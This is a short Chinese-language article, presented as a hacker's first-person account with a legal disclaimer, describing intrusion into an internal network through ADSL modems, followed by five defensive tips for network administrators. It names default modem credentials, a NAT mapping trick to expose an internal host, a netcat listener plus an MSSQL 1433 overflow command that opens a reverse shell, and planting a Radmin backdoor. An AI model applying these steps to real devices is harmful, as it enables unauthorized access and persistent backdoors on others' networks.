聲明

本文僅供知己知彼、加強防範，嚴禁用於非法入侵。違者自負法律責任。

駭客口述：從掃描到拿下內網全過程

一、掃描：鎖定 23 埠管理介面

• ADSL Modem 常用 80/23/21 埠管理，23 埠（Telnet）特徵明顯。
• SuperScan 掃描所在區域 IP 段，開 23 埠主機眾多。
• 瀏覽器輸入 https://IP:23，預設帳密 adsl / adsl1234（華碩常見預設），一矢中的，取得管理員權限。

二、端口映射：透明映射內網主機

• Modem 內網 IP 預設 192.168.1.1，主機常設 192.168.1.2（非 DHCP 情況）。
• NAT 規則 → 添加 → BAMID → 填入 192.168.1.2，實現整機透明映射：訪問 Modem 公網 IP 等同訪問內網主機。

三、漏洞掃描：X-Scan 掃弱口令失利

• 再次 SuperScan 掃描公網 IP，開放埠變為 139、1433 等（映射成功）。
• X-Scan 掃弱口令無果，管理員帳號安全意識尚可。

四、溢出攻擊：RPC/LSASS 失效，轉戰 1433

• 未開 80/21，WebDAV/Serv-U 溢出無機會；RPC、LSASS 溢出均被修補。
• 目光轉向 1433（MSSQL）：nc -v -l 99 監聽，sql2 目標IP 0 目標IP 99 成功彈 Shell。

五、植入後門：FTP 上傳 Radmin

入侵成功，餘下掃尾留後門（Radmin 等），不再贅述。

防禦啟示：網管必做的 5 件事

1. 修改 Modem 管理預設帳密：強複雜度，禁用 Telnet（23）或限制管理 IP。
2. 關閉不必要的 NAT 映射：禁止整機透明映射，僅映射必要服務埠。
3. 及時打補丁：MSSQL 1433 埠漏洞（如 sql2 利用）需優先修補。
4. 部署防火牆/IDS：檢測異常掃描、溢出嘗試、大量連線。
5. 網段隔離與最小權限：內網主機不直接暴露，重要服務置於 DMZ，帳號最小權限原則。

ADSL 普及率高、安全意識弱，正是駭客眼中的「軟柿子」。網管必須從「修預設密碼」這類基礎動作做起，構建纵深防禦。